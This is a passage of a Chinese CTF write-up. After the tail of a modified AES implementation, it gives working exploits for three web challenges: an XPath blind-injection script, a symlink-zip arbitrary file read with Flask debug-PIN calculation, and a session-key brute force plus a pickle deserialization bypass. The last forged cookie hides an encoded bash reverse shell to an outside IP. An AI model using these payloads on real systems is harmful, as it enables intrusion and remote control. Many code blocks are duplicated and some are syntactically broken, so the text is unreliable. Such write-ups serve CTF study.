*(uint32_t *)(*state)[2] = c;
*(uint32_t *)(*state)[3] = d;
}
SubBytes(state);
ShiftRows(state);
if (round == Nr) {
uint32_t a = *(uint32_t *)(*state)[0];
uint32_t b = *(uint32_t *)(*state)[1];
uint32_t c = *(uint32_t *)(*state)[2];
uint32_t d = *(uint32_t *)(*state)[3];
*(uint32_t *)(*state)[0] = a;
*(uint32_t *)(*state)[3] = b;
*(uint32_t *)(*state)[2] = c;
*(uint32_t *)(*state)[1] = d;
break;
}
MixColumns(state);
swap_xxx(state);
AddRoundKey(round, state, RoundKey);
hexdump((*state), sizeof(*state));
}
hexdump(*state, sizeof(*state));
// Add round key to last round
AddRoundKey(Nr, state, RoundKey);
swap_xxx(state);
}
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static void InvCipher(state_t *state, const uint8_t *RoundKey) {
uint8_t round = 0;
swap_xxx(state);
// Add the First round key to the state before starting the rounds.
AddRoundKey(Nr, state, RoundKey);
// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without InvMixColumn()
for (round = (Nr - 1);; --round) {
if (round == (Nr - 1)) {
uint32_t a = *(uint32_t *)(*state)[0];
uint32_t b = *(uint32_t *)(*state)[1];
uint32_t c = *(uint32_t *)(*state)[2];
uint32_t d = *(uint32_t *)(*state)[3];
*(uint32_t *)(*state)[0] = a;
*(uint32_t *)(*state)[3] = b;
*(uint32_t *)(*state)[2] = c;
*(uint32_t *)(*state)[1] = d;
}
InvShiftRows(state);
InvSubBytes(state);
if (round == (Nr - 1)) {
uint32_t a = *(uint32_t *)(*state)[3];
uint32_t b = *(uint32_t *)(*state)[2];
uint32_t c = *(uint32_t *)(*state)[1];
uint32_t d = *(uint32_t *)(*state)[0];
*(uint32_t *)(*state)[0] = a;
*(uint32_t *)(*state)[1] = b;
*(uint32_t *)(*state)[2] = c;
*(uint32_t *)(*state)[3] = d;
}
if (round != (Nr - 1)) {
swap_xxx(state);
}
AddRoundKey(round, state, RoundKey);
if (round == 0) {
break;
}
swap_xxx(state);
InvMixColumns(state);
}
}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*****************************************************************************/
/* Public functions: */
/*****************************************************************************/
#if defined(ECB) && (ECB == 1)
void AES_ECB_encrypt(const struct AES_ctx *ctx, uint8_t *buf) {
// The next function call encrypts the PlainText with the Key using AES
// algorithm.
Cipher((state_t *)buf, ctx->RoundKey);
}
void AES_ECB_decrypt(const struct AES_ctx *ctx, uint8_t *buf) {
// The next function call decrypts the PlainText with the Key using AES
// algorithm.
InvCipher((state_t *)buf, ctx->RoundKey);
}
#endif // #if defined(ECB) && (ECB == 1)
#if defined(CBC) && (CBC == 1)
static void XorWithIv(uint8_t *buf, const uint8_t *Iv) {
uint8_t i;
for (i = 0; i < AES_BLOCKLEN;
++i) // The block in AES is always 128bit no matter the key size
{
buf[i] ^= Iv[i];
}
}
void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {
size_t i;
uint8_t *Iv = ctx->Iv;
for (i = 0; i < length; i += AES_BLOCKLEN) {
XorWithIv(buf, Iv);
Cipher((state_t *)buf, ctx->RoundKey);
Iv = buf;
buf += AES_BLOCKLEN;
}
/* store Iv in ctx for next call */
memcpy(ctx->Iv, Iv, AES_BLOCKLEN);
}
void AES_CBC_decrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {
size_t i;
uint8_t storeNextIv[AES_BLOCKLEN];
for (i = 0; i < length; i += AES_BLOCKLEN) {
memcpy(storeNextIv, buf, AES_BLOCKLEN);
InvCipher((state_t *)buf, ctx->RoundKey);
XorWithIv(buf, ctx->Iv);
memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);
buf += AES_BLOCKLEN;
}
}
#endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1)
/* Symmetrical operation: same function for encrypting as for decrypting. Note
* any IV/nonce should never be reused with the same key */
void AES_CTR_xcrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {
uint8_t buffer[AES_BLOCKLEN];
size_t i;
int bi;
for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) {
if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */
{
memcpy(buffer, ctx->Iv, AES_BLOCKLEN);
Cipher((state_t *)buffer, ctx->RoundKey);
/* Increment Iv and handle overflow */
for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) {
/* inc will overflow */
if (ctx->Iv[bi] == 255) {
ctx->Iv[bi] = 0;
continue;
}
ctx->Iv[bi] += 1;
break;
}
bi = 0;
}
buf[i] = (buf[i] ^ buffer[bi]);
}
}
#endif // #if defined(CTR) && (CTR == 1)
unsigned char hexData2[176] = {
0x39, 0xBA, 0x3A, 0x0B, 0x1C, 0x27, 0x64, 0xA2, 0x80, 0x98, 0x31, 0x36,
0xEB, 0x9E, 0x77, 0x9E, 0x32, 0x53, 0x31, 0xFF, 0x2E, 0x74, 0x55, 0x5D,
0xAE, 0xEC, 0x64, 0x6B, 0x45, 0x72, 0x13, 0xF5, 0xD4, 0x3D, 0x71, 0x80,
0xFA, 0x49, 0x24, 0xDD, 0x54, 0xA5, 0x40, 0xB6, 0x11, 0xD7, 0x53, 0x43,
0xCE, 0xBF, 0x7F, 0x69, 0x34, 0xF6, 0x5B, 0xB4, 0x60, 0x53, 0x1B, 0x02,
0x71, 0x84, 0x48, 0x41, 0x4D, 0x1C, 0x20, 0x33, 0x79, 0xEA, 0x7B, 0x87,
0x19, 0xB9, 0x60, 0x85, 0x68, 0x3D, 0x28, 0xC4, 0x51, 0x59, 0x07, 0x17,
0x28, 0xB3, 0x7C, 0x90, 0x31, 0x0A, 0x1C, 0x15, 0x59, 0x37, 0x34, 0xD1,
0x6F, 0x92, 0x9D, 0x2F, 0x47, 0x21, 0xE1, 0xBF, 0x76, 0x2B, 0xFD, 0xAA,
0x2F, 0x1C, 0xC9, 0x7B, 0x4E, 0x87, 0x01, 0xB2, 0x09, 0xA6, 0xE0, 0x0D,
0x7F, 0x8D, 0x1D, 0xA7, 0x50, 0x91, 0xD4, 0xDC, 0xC8, 0xD4, 0x80, 0x7A,
0xC1, 0x72, 0x60, 0x77, 0xBE, 0xFF, 0x7D, 0xD0, 0xEE, 0x6E, 0xA9, 0x0C,
0x36, 0xFC, 0x1F, 0xB2, 0xF7, 0x8E, 0x7F, 0xC5, 0x49, 0x71, 0x02, 0x15,
0xA7, 0x1F, 0xAB, 0x19, 0xE2, 0xA0, 0xDF, 0xE6, 0x15, 0x2E, 0xA0, 0x23,
0x5C, 0x5F, 0xA2, 0x36, 0xFB, 0x40, 0x09, 0x2F};
int main() {
struct AES_ctx ctx;
uint8_t key[] =
"\x39\xba\x3a\x0b\x1c\x27\x64\xa2\x80\x98\x31\x36\xeb\x9e\x77\x9e";
uint8_t buf[16] = "FFFFFFFFFFFFFFFF";
AES_init_ctx(&ctx, key);
memcpy(ctx.RoundKey, hexData2, sizeof(hexData2));
hexdump(ctx.RoundKey, sizeof(ctx.RoundKey));
AES_ECB_encrypt(&ctx, buf);
hexdump(buf, sizeof(buf));
uint8_t bufx[16] =
"\xAA\xFE\xE4\xE0\xC3\xB3\x24\x16\x4E\x5B\xF7\x13\x9E\xE1\xCA\xA0";
AES_ECB_decrypt(&ctx, bufx);
hexdump(bufx, sizeof(bufx));
return 0;
}
四、web
1.题目名称：babyjava
xpath 注入，参考：https://xz.aliyun.com/t/7791#toc-6
exp：
import requests
url = 'http://eci-2zeck6h5lu4hlf0o62vg.cloudeci1.ichunqiu.com:8888/hello'
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
strs = '}_{-abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag = ''
for i in range(1, 100):
for j in strs:
payload_1 = { # root
"xpath":"admin' or substring(name(/*[1]), {}, 1)='{}".format(i,j)
}
payload_2 = { # user
"xpath":"admin'or substring(name(/root/*[1]), {}, 1)='{}".format(i,j)
}
payload_3 = { # username
"xpath":"admin'or substring(name(/root/user/*[2]), {}, 1)='{}".format(i,j)
}
payload_4 = { # username
"xpath":"admin'or substring(name(/root/user/*[1]), {}, 1)='{}".format(i,j)
}
payload_7 = { # flag
"xpath":"1' or substring(/root/user/username[2]/text(),{},1)='{}".format(i,j)
}
r = requests.post(url=url, headers=head, data=payload_7)
if "This information is not available" not in r.text:
flag += j
print(flag)break
if "This information is not available" in r.text:
break
print(flag)
2.题目名称：OnlineUnzip
题目源代码如下：
import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response
app=Flask(__name__)
def extractFile(filepath):
extractdir=filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)
os.system(f'unzip -o {filepath} -d {extractdir}')
return redirect(url_for('display',extractdir=extractdir))
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
if re.search(r"\.\.", extractdir, re.M | re.I) != None:
return "Hacker?"
else:
if not os.path.exists(extractdir):
return make_response("error", 404)
else:
if not os.path.isdir(extractdir):
f = open(extractdir, 'rb')
response = make_response(f.read())
response.headers['Content-Type'] = 'application/octet-stream'
return response
else:
fn = os.listdir(extractdir)
fn = [".."] + fn
f = open("templates/template.html")
x = f.read()
f.close()
ret = "<h1>文件列表:</h1><br><hr>"
for i in fn:
tpath = os.path.join('/display', extractdir, i)
ret += "<a href='" + tpath + "'>" + i + "</a><br>"
x = x.replace("HTMLTEXT", ret)
return x
@app.route('/upload', methods=['GET', 'POST'])
def upload():
ip = request.remote_addr
uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]
if not os.path.exists(uploadpath):
os.makedirs(uploadpath)
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
try:
upFile = request.files['file']
print(upFile.filename)
if os.path.splitext(upFile.filename)[-1]=='.zip':
filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
upFile.save(filepath)
zipDatas = extractFile(filepath)
return zipDatas
else:
return f"{upFile.filename} is not a zip file !"
except:
return make_response("error", 404)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response
app=Flask(__name__)
def extractFile(filepath):
extractdir=filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)
os.system(f'unzip -o {filepath} -d {extractdir}')
return redirect(url_for('display',extractdir=extractdir))
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
if re.search(r"\.\.", extractdir, re.M | re.I) != None:
return "Hacker?"
else:
if not os.path.exists(extractdir):
return make_response("error", 404)
else:
if not os.path.isdir(extractdir):
f = open(extractdir, 'rb')
response = make_response(f.read())
response.headers['Content-Type'] = 'application/octet-stream'
return response
else:
fn = os.listdir(extractdir)
fn = [".."] + fn
f = open("templates/template.html")
x = f.read()
f.close()
ret = "<h1>文件列表:</h1><br><hr>"
for i in fn:
tpath = os.path.join('/display', extractdir, i)
ret += "<a href='" + tpath + "'>" + i + "</a><br>"
x = x.replace("HTMLTEXT", ret)
return x
@app.route('/upload', methods=['GET', 'POST'])
def upload():
ip = request.remote_addr
uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]
if not os.path.exists(uploadpath):
os.makedirs(uploadpath)
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
try:
upFile = request.files['file']
print(upFile.filename)
if os.path.splitext(upFile.filename)[-1]=='.zip':
filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
upFile.save(filepath)
zipDatas = extractFile(filepath)
return zipDatas
else:
return f"{upFile.filename} is not a zip file !"
except:
return make_response("error", 404)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)
这里直接利用软链接就可以进行任意文件读取了。按照下面的操作来即可
软链接任意读文件
flag.sh /etc/passwd
flag.sh /etc/passwd
#!/usr/bin/env bash
rm flag
rm flag.zip
ln -s $1 flag
zip --symlinks flag.zip flag
发现 ffffl111l1a44a4ggg
可以看到这里是开启debug的。那么可以算pin来打
可以参考这个师傅算pin的文章https://blog.csdn.net/weixin_54648419/article/details/123632203
读取发现无权限， python3.8，所以可以算 pin 码
算 pin
import hashlib
from itertools import chain
probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'95529894978',# /sys/class/net/eth0/address 16 进 制 转 10 进 制
00:16:3e:06:84:42
#/etc/machine-id + /proc/self/cgroup
'96cec10d3d9307792745ec3b85c896201d32e75cee611384a0f09556e07ef291176ed1454
d035521b7e624689d20583d'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
读取 flag
上面算machine_id有点小坑是，算pin的好多文章描述的都是（每一个机器都会有自已唯一的id，linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id，docker靶机则读取/proc/self/cgroup，其中第一行的/docker/字符串后面的内容作为机器的id，在非docker环境下读取后两个，非docker环境三个都需要读取），然后这里三个文件都有。最后各种匹配都不行。看了下算machine_id的源码，其实就是把/etc/machine-id和/proc/self/cgroup拼接起来就行了
3.easypickle
题目源码：
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
首先我们如果要反序列化的化，就要伪造session让自己是admin。那么我们首先就需要获取到密钥。这里的密钥是伪随机的。我们生成字典利用工具爆破出密钥即可
numbers_str = [str(x) for x in range(10)]
a=['a','b','c','d','e','f']
a+= numbers_str
file=open("C:/Users/Administrator/Desktop/easypickle/zidian.txt",'w')
for b in a:
for c in a:
for d in a:
for e in a:
file.write("{}{}{}{}\n".format(b,c,d,e))
然后利用flask-unsign工具直接跑就行了（跑得不是一般的快 flask-unsign --unsign --cookie "eyJ1c2VyIjoiYWRtaW4ifQ.YyVFUA.RSTsbveITHMSD9v0MTLMswCryRc" --wordlist "C:\Users\Administrator\Desktop\easypickle\zidian.txt" --no-literal-eval
[*] Session decodes to: {'user': 'admin'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 24960 attempts
b'6174 
黑名单这里的逻辑是把我们的序列化的数据解码后正则，再替换，只要替换后的payload过了waf就可以了。最后反序列化的是替换前的。
a=['a','b','c','d','e','f']
a+= numbers_str
file=open("C:/Users/Administrator/Desktop/easypickle/zidian.txt",'w')
for b in a:
for c in a:
for d in a:
for e in a:
file.write("{}{}{}{}\n".format(b,c,d,e))
[*] Session decodes to: {'user': 'admin'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 24960 attempts
b'6174
那么这里其实是可以用o指令，只是也要把s指令带上，那么替换之后就变成了Os然后是可以过waf的，最后反序列化的是os.
s的指令如下。那么我们只需要把s指令和o指令合理结合即可
本地测试一下
import pickle
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''
code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code)
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''
code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code)
大家可以参考一下这篇文章来补一下pickle的指令https://xz.aliyun.com/t/7436#toc-6，然后像文章里面一样利用pickle的工具库来分析payload
C:\Users\Administrator\Desktop\easypickle\venv\Scripts\python.exe C:/Users/Administrator/Desktop/easypickle/3.py
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''
0: ( MARK
1: S STRING 'shanghe1'
12: S STRING 'shanghe' #这里的意思是压进去第一个字典
23: d DICT (MARK at 0)
24: ( MARK
25: S STRING 'shanghe2'
36: S STRING 'shanghe'
47: d DICT (MARK at 24) #再往栈里面压进去第二个字典
48: ( MARK
49: c GLOBAL 'os system'
60: S STRING 'dir'
67: o OBJ (MARK at 48) #这里用我们逃出来的o指令进行命令执行
68: s SETITEM #最后s的指令就会把 o指令执行后的内容以及shanghe2的键值对压进去shanghe1的字典里面，作为新的键值对。
69: . STOP
highest protocol among opcodes = 1
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''
0: ( MARK
1: S STRING 'shanghe1'
12: S STRING 'shanghe' #这里的意思是压进去第一个字典
23: d DICT (MARK at 0)
24: ( MARK
25: S STRING 'shanghe2'
36: S STRING 'shanghe'
47: d DICT (MARK at 24) #再往栈里面压进去第二个字典
48: ( MARK
49: c GLOBAL 'os system'
60: S STRING 'dir'
67: o OBJ (MARK at 48) #这里用我们逃出来的o指令进行命令执行
68: s SETITEM #最后s的指令就会把 o指令执行后的内容以及shanghe2的键值对压进去shanghe1的字典里面，作为新的键值对。
69: . STOP
highest protocol among opcodes = 1
最后直接拿flag即可。也可以编码用v指令任意命令执行反弹shell都可以
import pickle
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\ndS'shanghe'\n(cos\nsystem\nS'cat f* >xxx'os.'''
code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code))
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\ndS'shanghe'\n(cos\nsystem\nS'cat f* >xxx'os.'''
code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code))
然后伪造即可替换原来的sesison，然后访问admin页面即可
python3 flask_session_cookie_manager3.py encode -s "6174" -t "{'user': 'admin','ser_data':b'KFMnc2hhbmdoZScKUydzaGFuZ2hlJwpkUydzaGFuZ2hlJwooY29zCnN5c3RlbQpWXHUwMDYyXHUwMDYxXHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDYzXHUwMDIwXHUwMDI3XHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDY5XHUwMDIwXHUwMDNFXHUwMDI2XHUwMDIwXHUwMDJGXHUwMDY0XHUwMDY1XHUwMDc2XHUwMDJGXHUwMDc0XHUwMDYzXHUwMDcwXHUwMDJGXHUwMDM0XHUwMDM3XHUwMDJFXHUwMDM5XHUwMDM2XHUwMDJFXHUwMDM0XHUwMDMxXHUwMDJFXHUwMDMxXHUwMDMwXHUwMDMzXHUwMDJGXHUwMDMxXHUwMDMzXHUwMDMzXHUwMDM3XHUwMDIwXHUwMDMwXHUwMDNFXHUwMDI2XHUwMDMxXHUwMDI3Cm9zLg=='}
参考连接：
Arr3stY0u战队wp
附件下载：
链接：https://pan.baidu.com/s/1h9TST5S8zPs4EY5jRgZqDA 提取码：2pay
